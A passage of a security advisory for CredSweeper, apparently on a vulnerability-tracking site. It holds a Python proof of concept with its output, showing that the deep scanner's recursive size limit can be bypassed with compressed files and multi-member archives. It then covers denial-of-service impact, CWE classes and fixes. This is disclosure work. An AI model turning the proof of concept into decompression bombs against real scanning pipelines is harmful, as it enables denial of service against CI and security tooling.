\"path\": data_provider.file_path,\n            \"len\": len(data_provider.data),\n            \"limit\": recursive_limit_size,\n            \"info\": data_provider.info,\n            \"depth\": depth,\n        })\n        return []\n\ndef build_compressed_payloads(payload):\n    gzip_buffer = io.BytesIO()\n    with gzip.GzipFile(fileobj=gzip_buffer, mode=\"wb\") as handle:\n        handle.write(payload)\n    return {\n        \"gzip\": gzip_buffer.getvalue(),\n        \"bzip2\": bz2.compress(payload),\n        \"lzma\": lzma.compress(payload),\n    }\n\ndef proof_negative_budget_after_full_decompression():\n    _, gzip_module, bzip2_module, lzma_module, _, _, provider_module = load_scanners()\n    DataContentProvider = provider_module.DataContentProvider\n    payload = b\"A\" * 64\n    recursive_limit_size = 16\n    compressed_payloads = build_compressed_payloads(payload)\n    results = []\n    for name, module, file_name in [\n        (\"gzip\", gzip_module, \"proof.txt.gz\"),\n        (\"bzip2\", bzip2_module, \"proof.txt.bz2\"),\n        (\"lzma\", lzma_module, \"proof.txt.xz\"),\n    ]:\n        recorder = RecordingRecursiveCalls()\n        provider = DataContentProvider(compressed_payloads[name], file_path=file_name, file_type=os.path.splitext(file_name)[1], info=f\"FILE:{file_name}\")\n        scanner_class = getattr(module, f\"{name.capitalize() if name != \u0027bzip2\u0027 else \u0027Bzip2\u0027}Scanner\")\n        scanner_class.data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)\n        results.append({\n            \"format\": name,\n            \"compressed_size\": len(compressed_payloads[name]),\n            \"decompressed_size\": recorder.calls[0][\"len\"],\n            \"configured_limit\": recursive_limit_size,\n            \"residual_limit_seen_by_recursive_scan\": recorder.calls[0][\"limit\"],\n            \"recursive_call\": recorder.calls[0],\n        })\n    return results\n\ndef proof_negative_budget_not_rejected():\n    abstract_module, _, _, _, _, _, provider_module = load_scanners()\n    DataContentProvider = provider_module.DataContentProvider\n    AbstractScanner = abstract_module.AbstractScanner\n    class DemoScanner(AbstractScanner):\n        @property\n        def config(self):\n            return object()\n        @property\n        def scanner(self):\n            return object()\n        def data_scan(self, data_provider, depth, recursive_limit_size):\n            return []\n        @staticmethod\n        def get_deep_scanners(data, descriptor, depth):\n            return [], []\n        def deep_scan_with_fallback(self, data_provider, depth, recursive_limit_size):\n            self.proof = {\n                \"data_len\": len(data_provider.data),\n                \"depth\": depth,\n                \"recursive_limit_size\": recursive_limit_size,\n            }\n            return []\n    demo = DemoScanner()\n    provider = DataContentProvider(b\"A\" * 64, file_path=\"oversize.txt\", file_type=\".txt\", info=\"FILE:oversize.txt\")\n    demo.recursive_scan(provider, depth=1, recursive_limit_size=-48)\n    return demo.proof\n\ndef proof_cumulative_budget_bypass_in_multi_entry_archives():\n    _, _, _, _, zip_module, tar_module, provider_module = load_scanners()\n    DataContentProvider = provider_module.DataContentProvider\n    recursive_limit_size = 16\n    member_size = 12\n\n    zip_buffer = io.BytesIO()\n    with zipfile.ZipFile(zip_buffer, \"w\", zipfile.ZIP_DEFLATED) as archive:\n        archive.writestr(\"a.txt\", b\"A\" * member_size)\n        archive.writestr(\"b.txt\", b\"B\" * member_size)\n\n    tar_buffer = io.BytesIO()\n    with tarfile.open(fileobj=tar_buffer, mode=\"w\") as archive:\n        for name, fill in [(\"a.txt\", b\"A\"), (\"b.txt\", b\"B\")]:\n            payload = fill * member_size\n            info = tarfile.TarInfo(name)\n            info.size = len(payload)\n            archive.addfile(info, io.BytesIO(payload))\n\n    results = []\n    for name, module, data, scanner_name in [\n        (\"zip\", zip_module, zip_buffer.getvalue(), \"ZipScanner\"),\n        (\"tar\", tar_module, tar_buffer.getvalue(), \"TarScanner\"),\n    ]:\n        recorder = RecordingRecursiveCalls()\n        provider = DataContentProvider(data, file_path=f\"proof.{name}\", file_type=f\".{name}\", info=f\"FILE:proof.{name}\")\n        getattr(module, scanner_name).data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)\n        results.append({\n            \"format\": name,\n            \"configured_limit\": recursive_limit_size,\n            \"member_size\": member_size,\n            \"member_count\": len(recorder.calls),\n            \"total_extracted_bytes\": sum(call[\"len\"] for call in recorder.calls),\n            \"recursive_calls\": recorder.calls,\n        })\n    return results\n\nprint(json.dumps({\n    \"head_commit\": get_head_commit(),\n    \"package_version\": get_package_version(),\n    \"proof_1_negative_budget_after_full_decompression\": proof_negative_budget_after_full_decompression(),\n    \"proof_2_negative_budget_not_rejected\": proof_negative_budget_not_rejected(),\n    \"proof_3_cumulative_budget_bypass_in_multi_entry_archives\": proof_cumulative_budget_bypass_in_multi_entry_archives(),\n}, indent=2, sort_keys=True))\n```\n\n3. Run it with Python 3:\n\n```bash\npython proof_poc.py\n```\n\n4. Expected/observed output from my run on commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6`:\n\n```json\n{\n  \"head_commit\": \"8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6\",\n  \"package_version\": \"1.15.8\",\n  \"proof_1_negative_budget_after_full_decompression\": [\n    {\n      \"format\": \"gzip\",\n      \"compressed_size\": 24,\n      \"configured_limit\": 16,\n      \"decompressed_size\": 64,\n      \"residual_limit_seen_by_recursive_scan\": -48\n    },\n    {\n      \"format\": \"bzip2\",\n      \"compressed_size\": 39,\n      \"configured_limit\": 16,\n      \"decompressed_size\": 64,\n      \"residual_limit_seen_by_recursive_scan\": -48\n    },\n    {\n      \"format\": \"lzma\",\n      \"compressed_size\": 68,\n      \"configured_limit\": 16,\n      \"decompressed_size\": 64,\n      \"residual_limit_seen_by_recursive_scan\": -48\n    }\n  ],\n  \"proof_2_negative_budget_not_rejected\": {\n    \"data_len\": 64,\n    \"depth\": 0,\n    \"recursive_limit_size\": -48\n  },\n  \"proof_3_cumulative_budget_bypass_in_multi_entry_archives\": [\n    {\n      \"format\": \"zip\",\n      \"configured_limit\": 16,\n      \"member_size\": 12,\n      \"member_count\": 2,\n      \"total_extracted_bytes\": 24\n    },\n    {\n      \"format\": \"tar\",\n      \"configured_limit\": 16,\n      \"member_size\": 12,\n      \"member_count\": 2,\n      \"total_extracted_bytes\": 24\n    }\n  ]\n}\n```\n\nWhat this proves:\n\n- GZIP/BZIP2/LZMA:\n  With a configured recursive limit of `16`, CredSweeper still fully inflates a `64` byte payload and then continues recursion with a residual limit of `-48`.\n\n- AbstractScanner:\n  The negative budget is not rejected. `recursive_scan()` still dispatches into `deep_scan_with_fallback()` with `recursive_limit_size = -48`.\n\n- ZIP/TAR:\n  A configured limit of `16` still allows two `12` byte members to be processed, for a total extracted size of `24`.\n\nThis is a complete end-to-end proof of the root cause and both exploitation variants.\n\n### Impact\nThis is an availability / resource-exhaustion vulnerability.\n\nWho is impacted:\n\n- Users who run CredSweeper with deep scanning enabled (`--depth \u003e 0`) on untrusted repositories, archives, or binary inputs.\n- CI jobs, pre-merge checks, internal security automation, and local review workflows that recursively inspect attacker-controlled compressed files.\n- Downstream services that expose CredSweeper as part of automated scanning of uploaded or fetched content.\n\nPractical consequences:\n\n- Oversized decompressed content can be materialized and scanned even when it exceeds the configured recursive budget.\n- Archive inputs with many individually small members can exceed the configured budget in aggregate.\n- Jobs may hang, consume excessive memory/CPU, or be terminated by the operating system / CI platform.\n\nSecurity classification:\n\n- Primary weakness: `CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)`\n- Related weakness: `CWE-400: Uncontrolled Resource Consumption`\n\nI did not confirm confidentiality or integrity impact from this issue. The impact I confirmed is denial of service / resource exhaustion.\n\n### Mitigation\nI recommend fixing this in three layers:\n\n1. Add a hard negative-budget guard in `recursive_scan()` and `structure_scan()`\n\nBefore any recursive dispatch, abort when `recursive_limit_size \u003c 0`.\n\n2. Enforce limits before or during decompression, not after full materialization\n\n- `gzip`, `bzip2`, `lzma/xz` should use bounded incremental decompression / bounded reads.\n- If the decompressed size exceeds the remaining budget, stop immediately before constructing the full payload in memory.\n\n3. Track a mutable cumulative budget across sibling archive members\n\n- `zip`, `tar`, and `rpm` should share a remaining-budget counter across entries.\n- After one child is accepted, decrement the shared remaining budget before processing the next sibling.\n\nRecommended regression tests:\n\n- A gzip payload whose decompressed size exceeds the recursive limit must be rejected before recursion and without a negative residual budget being processed.\n- Equivalent tests for bzip2 and lzma/xz.\n- A zip/tar archive with two members that are each under the per-entry threshold but exceed the total threshold together must stop after the budget is exhausted.\n- A direct unit test for `recursive_scan()` showing that negative `recursive_limit_size` stops recursion immediately.",
  "id": "GHSA-9mqm-qcwf-5qhg",
  "modified": "2026-07-10T19:25:51Z",
  "published": "2026-07-10T19:25:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Samsung/CredSweeper/security/advisories/GHSA-9mqm-qcwf-5qhg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Samsung/CredSweeper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CredSweeper: Recursive archive size-limit bypass in deep scanner allows crafted compressed inputs to exhaust resources"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…